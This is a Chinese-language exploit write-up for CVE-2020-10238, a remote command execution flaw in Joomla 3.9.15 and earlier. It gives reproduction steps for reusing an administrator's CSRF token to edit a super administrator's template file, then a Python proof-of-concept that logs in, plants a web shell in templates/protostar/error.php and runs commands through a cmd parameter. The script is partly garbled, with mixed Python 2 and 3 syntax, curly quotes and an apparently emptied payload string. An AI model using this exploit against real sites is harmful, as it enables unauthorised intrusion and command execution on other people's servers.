007-CVE-2020-10238 Joomal <= 3.9.15 远程命令执行漏洞

# CVE-2020-10238 Joomal <= 3.9.15 远程命令执行漏洞 ### 一、漏洞简介 ### 二、漏洞影响 <= 3.9.15 ### 三、复现过程 ``` http://url/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ== ``` 使用admin进行登录  **思路：** * 首先超级管理员跟管理员的后台界面是不同的 * 将恶意代码添加到index.php里面 * 使用管理员账户修改index.php，通过超级管理员进行index.php的文件编辑来获取到返回请求。  为了方便阅读，这里我们删掉index.php的内容，只保留shell  黄色部分为超级管理员的token，Joomal通过此令牌来防止csrf 这里我们先在burp里面保存此请求，先试用管理员账户进行登录，获取一下管理员账户的token。   如上图黄色部分为管理员的token，我们用管理员的token替换超级管理员的token，并且编辑url    **poc**  ```python #!/usr/bin/python import sys import requests import re import argparse def extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!\n") + "[-] You are not admin account!" return None return match.group(1) def try_admin_login(sess,url,uname,upass): admin_url = url+'/administrator/index.php' print('[+] Getting token for admin login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) # print token if not token: return False print('[+] Logging in to admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Admin Login Failure!') return None print('[+] Admin Login Successfully!') return True def rce(sess,url,cmd): getjs = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=L2Vycm9yLnBocA%3D%3D' resp = sess.get(getjs, verify=True) token = extract_token(resp) if (token==None) : sys.exit() filename='error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "“,
‘task’: ‘template.apply’,
token: ‘1’,
‘jform[extension_id]’: ‘506’,
‘jform[filename]’: ‘/’ + filename
}
shreq = sess.post(shlink, data=shdata_up)
path2shell = ‘/templates/protostar/error.php?cmd=’+cmd
# print ‘[+] Shell is ready to use: ‘ + str(path2shell)
print ‘[+] Checking:’
shreq = sess.get(url + path2shell)
shresp = shreq.text
print shresp + ‘[+] Shell link: \n’ + (url + path2shell)
print ‘[+] Module finished.’

def main() :

# Construct the argument parser
ap = argparse.ArgumentParser()
# Add the arguments to the parser
ap.add_argument(“-url”, “–url”, required=True,
help=” URL for your Joomla target”)
ap.add_argument(“-u”, “–username”, required=True,
help=”username”)
ap.add_argument(“-p”, “–password”, required=True,
help=”password”)
ap.add_argument(“-cmd”, “–command”, default=”whoami”,
help=”command”)
args = vars(ap.parse_args())
# target
url = format(str(args[‘url’]))
print ‘[+] Your target: ‘ + url
# username
uname = format(str(args[‘username’]))
# password
upass = format(str(args[‘password’]))
# command
command = format(str(args[‘command’]))

sess = requests.Session()
if(try_admin_login(sess,url,uname,upass) == None) : sys.exit()
rce(sess,url,command)
if __name__ == “__main__”:
sys.exit(main())
“`

参考链接

https://github.com/HoangKien1020/CVE-2020-10238/tree/master/CVE-2020-10238